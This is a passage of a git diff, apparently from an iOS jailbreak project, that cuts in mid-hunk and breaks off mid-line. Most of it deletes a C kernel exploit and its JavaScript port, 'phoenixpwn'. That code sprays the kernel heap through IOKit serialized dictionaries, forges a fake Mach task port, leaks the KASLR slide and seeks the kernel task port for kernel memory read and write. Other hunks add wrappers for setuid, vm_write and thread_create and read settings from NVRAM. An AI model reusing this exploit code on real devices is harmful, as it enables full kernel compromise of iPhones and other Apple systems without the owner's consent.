(kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte - WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian - - WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte - - for (int i=0; iip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK - kport->ip_references = 100; - kport->ip_lock.type = 0x11; - kport->ip_messages.port.qlimit = 777; - kport->ip_receiver = 0x12345678; // dummy - kport->ip_srights = 99; - - - void *big_buf = malloc(MIG_MAX), - *small_buf = malloc(MIG_MAX); - size_t big_size = 0, - small_size = 0; - - -#define PORTS_NUM 1024 -#define PORTS_NUM_PRESPRAY 100 - mach_port_t fp[PORTS_NUM]; - mach_port_t postSpray; - - usleep(10000); - sched_yield(); - uint32_t kptr = copyinPort(kport,2); - - printf("0x%08x\n",kptr); - *(uint32_t*)(data) = kptr; - *(uint32_t*)(data+4) = kptr; - OUT(prepare_ptr(big_buf, &big_size, kptr, 256)); - OUT(prepare_ptr(small_buf, &small_size, kptr, 32)); - -again: - sched_yield(); -// for (int i=0; iip_receiver = ipc_space_kernel_addr; - kport->ip_kobject = kernel_task_addr; - memset(tst, 0x45, sizeof(tst)); - for (int i=0; i<2; i++) { - kpbuf[i] = kport[i]; - } - - OUT(spray_data(tst, sizeof(tst), 10, &postSpray)); - mach_port_destroy(mach_task_self(), postSpray); - printf("done postspray\n"); - - usleep(10000); - sched_yield(); - mach_port_destroy(mach_task_self(), fakeportData); - OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); - printf("done realloc3\n"); - - resume_all_threads(); - - return fake_port; - out: - if(MACH_PORT_VALID(fake_port)) - { - ret = send_ports(sanity_port, fake_port, 1, 1); - if(ret == KERN_SUCCESS) - { - fake_port = MACH_PORT_NULL; - printf("Exploit failed, retrying...\n"); - goto again; - } - printf("send_ports(): %s\n", mach_error_string(ret)); - } - printf("Error: exploit failed :(\n"); - return MACH_PORT_NULL; -} - -uintptr_t kbase(){ - return 0x80001000 + kslide; -} - -#if 0 -void exploit(){ - mach_port_t taskHacked = get_kernel_task(); - uintptr_t kbase = 0x80001000 + kslide; - printf("got kerneltask!\n"); - printf("kbase=%p\n",(void*)kbase); - - char kdata[0x100]; - memset(kdata, 0, 0x100); - vm_size_t bytesRead=0x100; - - kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead); - printf("vm_read_overwrite=0x%08x\n",kr); - - printf("DONE!!!\n"); -} -#endif - -void exploit_cleanup(task_t kernel_task) -{ - kern_return_t ret; - - mach_port_t self = mach_task_self(); - OUT(r3gister(kernel_task, &self, 1, 1)); - - vm_address_t portaddr = 0; - vm_size_t sz = sizeof(portaddr); - OUT(vm_read_overwrite(kernel_task, kernel_task_addr+0x1ac, sz, (vm_address_t)&portaddr, &sz)); - - vm_address_t mytaskaddr = 0; - vm_size_t size = sizeof(mytaskaddr); - OUT(vm_read_overwrite(kernel_task, portaddr+__builtin_offsetof(kport_t, ip_kobject), size, (vm_address_t)&mytaskaddr, &size)); - printf("mytaskaddr = 0x%08x\n", mytaskaddr); - - mach_port_t none = 0; - OUT(r3gister(mach_task_self(), &none, 1, 1)); - -#pragma pack(4) - typedef struct { - mach_msg_header_t Head; - mach_msg_body_t msgh_body; - mach_msg_ool_ports_descriptor_t init_port_set[1]; - mach_msg_trailer_t trailer; - } Reply; -#pragma pack() - Reply reply; - - while(1) - { - ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL); - if(ret != KERN_SUCCESS) - { - printf("cleanup done\n"); - break; - } - mach_port_t *port = reply.init_port_set[0].address; - - printf("Unregistering port %x...\n", *port); - mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port }; - OUT(r3gister(mach_task_self(), arr, 3, 3)); - uintptr_t zero = 0; - OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero))); - } - - out:; -} \ No newline at end of file diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js deleted file mode 100755 index 47ff1c0..0000000 --- a/src/js/kexp/exploit.js +++ /dev/null @@ -1,557 +0,0 @@ -/* - * phoenixpwn kernel exploit - * reimplemented in JS - * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy - */ - -var sanity_port = 0; -var MACH_PORT_RIGHT_RECEIVE = 0x1; -var MACH_MSG_TYPE_MAKE_SEND = 0x14; -var MACH_PORT_LIMITS_INFO = 0x1; -var MACH_PORT_LIMITS_INFO_COUNT = 0x1; -var kport_size = 0x78; -var kport_ip_bits4 = 0x0; -var kport_ip_references4 = 0x4; -var kport_ip_lock_type4 = 0x10; -var kport_ip_messages_port_qlimit2 = 0x42; -var kport_ip_receiver4 = 0x4c; -var kport_ip_srights4 = 0x70; -var KERN_SUCCESS = 0; -var NULL = 0; -var MACH_PORT_NULL = 0; -var req_init_port_set = 0x1c; -var req_head_msgh_bits = 0x0; -var req_head_msgh_request_port = 0x8; -var req_head_msgh_reply_port = 0xc; -var req_head_msgh_id = 0x14; -var req_msgh_body_msgh_descriptor_count = 0x18; -var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2; -var req_init_port_set_address = 0x0; -var req_init_port_set_count = 0x4; -var MACH_RCV_MSG = 0x2; -var MACH_MSG_TIMEOUT_NONE = 0; -var TASK_BSDINFO_OFFSET = 0x200; -var BSDINFO_PID_OFFSET = 0x8; - -function find_kerneltask() { - return 0x8041200c; -} - -function find_ipcspacekernel() { - return 0x80456664; -} - -var task_self = 0; -var kslide = 0; - -var fakeportData = 0; - -var kOSSerializeDictionary = 0x01000000; -var kOSSerializeArray = 0x02000000; -var kOSSerializeSet = 0x03000000; -var kOSSerializeNumber = 0x04000000; -var kOSSerializeSymbol = 0x08000000; -var kOSSerializeString = 0x09000000; -var kOSSerializeData = 0x0a000000; -var kOSSerializeBoolean = 0x0b000000; -var kOSSerializeObject = 0x0c000000; - -var kOSSerializeTypeMask = 0x7F000000; -var kOSSerializeDataMask = 0x00FFFFFF; - -var kOSSerializeEndCollection = 0x80000000; - -var kOSSerializeMagic = 0x000000d3; - -var SIZEOF_BYTES_MSG = 384; - -var PORTS_NUM = 1024; -var PORTS_NUM_PRESPRAY = 100; -var MIG_MAX = 0x1000; - -function spray_data(mem, size, num, portptr) { - var err = shit_heap(4); - var ret = 0; - var master = shit_heap(4); - host_get_io_master(mach_host_self(), master); - var dict = shit_heap(MIG_MAX); - var __cnt = 0; - write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; - write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; - write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++; - write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++; - write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++; - - for (var i = 0; i < num; i++) { - write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++; - if (mem != 0 && size != 0) { - memcpy(dict + (__cnt << 2), mem, size); - } - memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size); - __cnt += SIZEOF_BYTES_MSG / 4; - } - - printf("%x %x\n", master, read_u32(master)); - printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); - ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); - printf("still alive? %x %x\n", err, read_u32(err)); - if (ret == KERN_SUCCESS) { - ret = read_u32(err); - } - printf("still alive? %x %x\n", err, read_u32(err)); - - return ret; -} - -function copyinPort(kport, cnt) { - var err = shit_heap(4); - var ret = 0; - var self = task_self; - var service = MACH_PORT_NULL; - var client = shit_heap(4); - var it = shit_heap(4); - var o = MACH_PORT_NULL; - var data = shit_heap(4); - var master = shit_heap(4); - fakeportData = shit_heap(4); - var host_self = mach_host_self(); - host_get_io_master(mach_host_self(), master); - ret = spray_data(NULL, 0, 5, data); - printf("sprayed, still here\n"); - printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); - printf("sprayed, still here\n"); - -// printf("%x %x\n", master, read_u32(master)); - service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); - printf("service=%x\n", service); - - var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); - printf("%x\n", tst); - var kpbuf = tst + 4; - for (var i = 0; i < cnt; i++) { - write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); - } - - var err = shit_heap(4); - var xmls = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"; - var xml = sptr(xmls); - ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); - printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); - if (ret == KERN_SUCCESS) { - ret = read_u32(err); - } - printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); - IORegistryEntryGetChildIterator(service, "IOService", it); - - var found = false; - var o = IOIteratorNext(read_u32(it)); - - while (o != MACH_PORT_NULL && !found) { - var buf = shit_heap(16 * 4); - var size = shit_heap(4); - write_u32(size, 16 * 4); - ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); - printf("%d %s\n", ret, mach_error_string(ret)); - if (ret == KERN_SUCCESS) { - spray_data(tst, strlen(tst) + 1, 10, fakeportData); - kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; - printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); - found = true; - return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; - } - } - printf("didn't find it\n"); -} - -function prepare_ptr(dict, size, ptr, num) { - var idx = 0; - write_u32(dict + (idx << 2), kOSSerializeMagic); idx++; - write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++; - write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++; - write_u32(dict + (idx << 2), 0x0079656b); idx++; - write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++; - for (var i = 0; i < num; i++) { - write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++; - write_u32(dict + (idx << 2), ptr); idx++; - write_u32(dict + (idx << 2), ptr); idx++; - } - - write_u32(size, idx * 4); - return KERN_SUCCESS; -} - -function spray(dict, size, port) { - var err = shit_heap(4); - var ret = 0; - var master = shit_heap(4); - - ret = host_get_io_master(mach_host_self(), master); - printf("yahtzee3 %d (%s) %p\n", ret, mach_error_string(ret), read_u32(master)); -// scall("printf", "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", master, 0x41414141, "IOServiceTerminate", 0x41414141, dict, 0x41414141, size, 0x41414141, MACH_PORT_NULL, 0x41414141, NULL, 0x41414141, 0, 0x41414141, err, 0x41414141, port, 0x41414141); - ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port); - printf("yahtzee %d (%s)\n", ret, mach_error_string(ret)); - - if (ret == KERN_SUCCESS) { - ret = read_u32(err); - } - - printf("yahtzee2 %d (%s)\n", ret, mach_error_string(ret)); - - return ret; -} - -var kp = 0; -function spray_ports(number_port_descs) { - if (kp == 0) { - kp = shit_heap(4); - mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); - mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); - } else if (read_u32(kp) == 0) { - kp = shit_heap(4); - mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); - mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); - } - - var mp = shit_heap(4); - - var ret_ = mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); - printf("mpa %d (%s)\n", ret_, mach_error_string(ret_)); - ret_ = mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); - printf("mpir %d (%s)\n", ret_, mach_error_string(ret_)); - - ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); - - printf("sp %d (%s)\n", ret_, mach_error_string(ret_)); - - var ret = read_u32(mp); - shit_heap_free(mp); - return ret; -} - -function fast_log2(n) { - var i = 0; - while (n >>= 1) { - i++; - } - - return i; -} - -function fast_array_mul(arr, n) { - var up_to = fast_log2(n) + 1; - var tmp_arr = arr; - var done = 0; - for (var i = 0; i < up_to; i++) { - tmp_arr.push.apply(tmp_arr); - done = (1 << i); - } - - return tmp_arr; -} - -function send_ports(target, payload, num, number_port_descs) { - var init_port_set = shit_heap(num * 4); - - for (var i = 0; i < num; i++) { - write_u32(init_port_set + (i << 2), payload); - } - - // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8)); - -// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); - -// var buf = new Uint32Array((0x1c + (3 * number_port_descs); - -// write_u32(number_port_descs); - - large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs; - - var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); - - for (var i = 0; i < number_port_descs; i++) { - var tmp2 = (i * 3) + (req_init_port_set >>> 2); - large_buf[tmp2 + 0] = (init_port_set); - large_buf[tmp2 + 1] = (num); - large_buf[tmp2 + 2] = tmp; - } - - large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) - large_buf[req_head_msgh_request_port >>> 2] = target; - large_buf[req_head_msgh_reply_port >>> 2] = 0; - large_buf[req_head_msgh_id >>> 2] = 1337; - -// printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100))); - - var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); - - return ret; -} - -function release_port_ptrs(port) { -// var req = shit_heap(0x1c + (5 * 0xc) + 0x8); - var req = shit_heap(0x1c + (5 * 0xc) + 0x8); -// printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); - var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - if (ret != KERN_SUCCESS) { - printf("mach_recv %d %s\n", ret, mach_error_string(ret)); - } - shit_heap_free(req); -} - -function r3gister(task, init_port_set, real_count, fake_count) { - var mess = shit_heap(0x1000); - var InP = mess; - var OutP = mess; - - /* - InP->msgh_body.msgh_descriptor_count = 1; - InP->init_port_set.address = (void*)(init_port_set); - InP->init_port_set.count = real_count; - InP->init_port_set.disposition = 19; - InP->init_port_set.deallocate = FALSE; - InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; - InP->NDR = NDR_record; - InP->init_port_setCnt = fake_count; // was real_count - InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); - InP->Head.msgh_remote_port = task; - InP->Head.msgh_local_port = mig_get_local_port(); - InP->Head.msgh_id = 3403; - InP->msgh_body.msgh_descriptor_count 0x18 0x4 - InP->init_port_set.address 0x1c 0x4 - InP->init_port_set.count 0x20 0x4 - InP->init_port_set 0x1c - InP->NDR 0x28 0x8 - InP->init_port_setCnt 0x30 0x4 - InP->Head.msgh_bits 0x0 0x4 - InP->Head.msgh_remote_port 0x8 0x4 - InP->Head.msgh_local_port 0xc 0x4 - InP->Head.msgh_id 0x14 0x4 -0x00000003 -0x00000034 0x0000002c -0x00000024 -50 -78 -0x0 0x1057ec - */ - - write_u32(InP + 0x18, 1); - write_u32(InP + 0x1c, init_port_set); - write_u32(InP + 0x20, real_count); - write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24))); - write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0)); - write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4)); - write_u32(InP + 0x30, fake_count); - write_u32(InP + 0x0, 0x80001513); - write_u32(InP + 0x8, task); - write_u32(InP + 0xc, mig_get_reply_port()); - write_u32(InP + 0x14, 3403); - - var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - if (ret == KERN_SUCCESS) { - ret = read_u32(OutP + 0x24); - } - return ret; -} - -function mach_ports_lookup_shit() { - printf("fuck\n"); - var arrz = shit_heap(4); - printf("fuck\n"); - write_u32(arrz, 0); - printf("fuck\n"); - var sz = shit_heap(4);; - printf("fuck\n"); - write_u32(sz, 3); - printf("fuck\n"); -// var mts = mach_task_self(); - printf("fuck\n"); - calls4arg("mach_ports_lookup", task_self, arrz, sz, 0); - puts("helo"); - printf("mpl success\n"); - scall("printf", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); - printf("mpl success\n"); - - return read_u32(read_u32(arrz) + 8); -// return 0x42603; -} - -var kernel_task_addr = 0; -function get_kernel_task() { - var ret = 0; - var tfp0 = 0; - - /* - printf("fuck\n"); - var arrz = shit_heap(4); - printf("fuck\n"); - write_u32(arrz, 0); - printf("fuck\n"); - var sz = shit_heap(4);; - printf("fuck\n"); - write_u32(sz, 3); - printf("fuck\n"); - var mts = mach_task_self(); - printf("fuck\n"); - mach_ports_lookup(mts, arrz, sz); - printf("mpl success\n"); - return; -*/ - - sanity_port = shit_heap(4); - - task_self = mach_task_self(); - - mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port); - mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); - limits = shit_heap(4); - write_u32(limits, 1000); - mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); - - printf("starting exploit\n"); - - var data = shit_heap(16); - var kport = shit_heap(kport_size * 2); - var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something - write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK - write_u32(kport + kport_ip_references4, 100); - write_u32(kport + kport_ip_lock_type4, 0x11); - write_u16(kport + kport_ip_messages_port_qlimit2, 777); - write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy - write_u32(kport + kport_ip_srights4, 99); - - var big_buf = shit_heap(MIG_MAX); - var small_buf = shit_heap(MIG_MAX); - - var big_size = shit_heap(4); - var small_size = shit_heap(4); - - var fp = shit_heap(PORTS_NUM * 4); - var postSpray = shit_heap(4); - - usleep(10000); - sched_yield(); - var kptr = copyinPort(kport, 2); - - printf("0x%08x\n", kptr); - write_u32(data, kptr); - write_u32(data + 4, kptr); - - prepare_ptr(big_buf, big_size, kptr, 256); - prepare_ptr(small_buf, small_size, kptr, 32); - -again: while (true) { - - sched_yield(); - var dummy = shit_heap(4); - for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { - var dummy = shit_heap(4); - spray(big_buf, read_u32(big_size), dummy); - } - - sched_yield(); - var dummy = shit_heap(4); - for (var i = 0; i < PORTS_NUM; i++) { -// for (var i = 0; i < 8; i++) { - var dummy = shit_heap(4); - if (i % 4 == 0) { - printf("spray_ports %d\n", i); - } - write_u32(fp + (i << 2), spray_ports(1)); - spray(small_buf, read_u32(small_size), dummy); - } - - sched_yield(); - for (var i = 0; i < PORTS_NUM; i++) { -// for (var i = 0; i < 8; i++) { - release_port_ptrs(read_u32(fp + (i << 2))); - } - -// return; - - - var arrz = shit_heap(16); - write_u32(arrz, 0); - write_u32(arrz + 4, 0); - write_u32(arrz + 8, 0); - write_u32(arrz + 12, 0); - var sz = shit_heap(4); - write_u32(sz, 3); -// mach_ports_lookup_shit_dealloc(); - var ret__ = r3gister(mach_task_self(), arrz, 2, 3); - mach_ports_lookup(mach_task_self(), arrz, sz); - scall("printf", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp)); - printf("mpl success\n"); - - var fake_port = read_u32(read_u32(arrz) + 8); - printf("%d %s\n", ret__, mach_error_string(ret__)); - printf("r3gister done\n"); -// while (true) { - // -// } - printf("fuck\n"); -// var fake_port = read_u32(read_u32(arrz) + 8); - - /* - * BEGIN JANK FUCKING HACK - */ -// var fake_port = mach_ports_lookup_shit(); - printf("fuck\n"); - printf("%x\n", fake_port); - printf("fuck\n"); - // todo: add mach_port_valid stuff - printf("fuck\n"); - - printf("fuck\n"); - for (var i = 0; i < 0x78; i += 4) { - write_u32(kport + i, 0x41410000 | i); - } - for (var i = 0; i < 0x78; i += 4) { - write_u32(kport + i + 0x78, 0x41420000 | i); - } -// write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET); - printf("fuck\n"); -// write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET); - printf("fuck\n"); - var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0"; - printf("fuck\n"); - var tst = _sptr(tst_str); - printf("fuck\n"); - var kpbuf = tst + 4; - printf("fuck\n"); - - printf("fuck\n"); - for (var i = 0; i < 2; i++) { - printf("fuck\n"); - write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78); - } - printf("fuck\n"); - usleep(10000); - sched_yield(); - mach_port_destroy(mach_task_self(), read_u32(fakeportData)); - ret__ = spray_data(tst, tst_str.length, 10, fakeportData); - printf("sd %d (%s)\n", ret__, mach_error_string(ret__)); - printf("fuck\n"); - printf("done realloc"); - printf("fuck\n"); - - printf("fuck\n"); - var kernel_task_addr = shit_heap(4); - printf("fuck\n"); - scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); - ret__ = pid_for_task(fake_port, kernel_task_addr); - printf("%d %s\n", ret__, mach_error_string(ret__)); - printf("fuck\n"); - printf("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n"); - printf("fuck\n"); - call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0); - if (kernel_task_addr === 0xffffffff) { - continue again; - } - scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr)); - printf("fuck\n"); - - printf("get lucky\n"); - - return tfp0; - } -} diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index 4f03957..001bb7d 100755 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -127,4 +127,22 @@ var mach_ports_lookup = scall_wrapper("mach_ports_lookup"); var mach_port_destroy = scall_wrapper("mach_port_destroy"); var pid_for_task = scall_wrapper("pid_for_task"); var __CFStringMakeConstantString = scall_wrapper("__CFStringMakeConstantString"); -var CFStringCreateWithCString = scall_wrapper("CFStringCreateWithCString"); \ No newline at end of file +var CFStringCreateWithCString = scall_wrapper("CFStringCreateWithCString"); +var fopen = scall_wrapper("fopen"); +var fseek = scall_wrapper("fseek"); +var ftell = scall_wrapper("ftell"); +var fread = scall_wrapper("fread"); +var fclose = scall_wrapper("fclose"); +var open = scall_wrapper("open"); +var read = scall_wrapper("read"); +var xpc_connection_create_mach_service = scall_wrapper("xpc_connection_create_mach_service"); +var bootstrap_look_up = scall_wrapper("bootstrap_look_up"); +var vm_write = scall_wrapper("vm_write"); +var thread_create = scall_wrapper("thread_create"); +var CFPreferencesSetValue = scall_wrapper("CFPreferencesSetValue"); +var setuid = scall_wrapper("setuid"); +var getuid = scall_wrapper("getuid"); +var getpwnam = scall_wrapper("getpwnam"); +var IORegistryEntryFromPath = scall_wrapper("IORegistryEntryFromPath"); +var IOMasterPort = scall_wrapper("IOMasterPort"); +var exit = scall_wrapper("exit"); \ No newline at end of file diff --git a/src/js/main.js b/src/js/main.js index 0a1de50..e077fbe 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -22,23 +22,53 @@ var MAP_ANON = 0x1000; var victim = {a: 13.37}; if (0) { -/* - * leftover shit from jsc_fun, used to be using `log` - */ -try { - puts("we out here in jsc"); -} catch (e) { /* - * we don't have puts. :( + * leftover shit from jsc_fun, used to be using `log` */ - - puts = function (){}; + try { + puts("we out here in jsc"); + } catch (e) { + /* + * we don't have puts. :( + */ + + puts = function (){}; } } var JSStringCreateWithUTF8CString = 0x239f9d0d; var JSObjectGetProperty = 0x239fa411; var JSContextGetGlobalObject = 0x239f8dfd; +var bootstrap_port = 0x10b; +var kCFBooleanTrue; +var kCFBooleanFalse; +var kCFPreferencesAnyUser; +var kCFPreferencesCurrentHost; +var kIOMasterPortDefault = NULL; +var options = {}; + +function parse_nvram_options() { +// read_u32(dlsym(dlopen("/System/Library/Frameworks/IOKit.framework/IOKit", RTLD_NOW), "kIOMasterPortDefault")); + var kIOMasterPortDefault_ptr = shit_heap(4) + IOMasterPort(bootstrap_port, kIOMasterPortDefault_ptr); + kIOMasterPortDefault = read_u32(kIOMasterPortDefault_ptr); + var registry_entry = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/options"); + + if (registry_entry) { + var p0laris_options_size = shit_heap(4); + write_u32(p0laris_options_size, 0x4000); + var p0laris_options = malloc(read_u32(p0laris_options_size)); + + if (IORegistryEntryGetProperty(registry_entry, "p0laris_options", p0laris_options, p0laris_options_size) == KERN_SUCCESS) { + var p0laris_options_buf = read_buf(p0laris_options, read_u32(p0laris_options_size)); + var p0laris_options_js_str = ""; + for (var i = 0; i < p0laris_options_buf.length; i++) { + p0laris_options_js_str += String.fromCharCode(p0laris_options_buf[i]); + } + options = JSON.parse(p0laris_options_js_str); + } + } +} function main() { /* @@ -56,16 +86,12 @@ function main() { init_sptr_heap(); - scall("printf", "%x %x %x %x\n", 0x41, 0x42, 0x43, 0x44); + syslog(LOG_SYSLOG, "we out here"); + syslog(LOG_SYSLOG, "stage3"); puts("we out here"); puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?"); - printf("slide=0x%x\n", slide); - printf("*(uint8_t*)base = 0x%x\n", read_u8(base)); - printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); - printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); - var dyld_shc_slide = get_dyld_shc_slide(); sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide; @@ -74,99 +100,30 @@ function main() { prep_shit(); - large_buf[0] = 0x41424344; - printf("%x\n", read_u32(large_buf_ptr)); - setup_fancy_rw(); - csbypass(); - - return; - - - printf("%s\n", hexdump(read_buf(0x422200, 0x200), 8, 2, 0x422200, 8, '0')); + parse_nvram_options(); -//return; - var tfp0 = get_kernel_task(); - - printf("tfp0=%x\n", tfp0); - - return; - - printf("dead?\n"); - var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim")); - printf("dead? %x\n", string_ref); - var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); - printf("dead? %x\n", global_object); - var 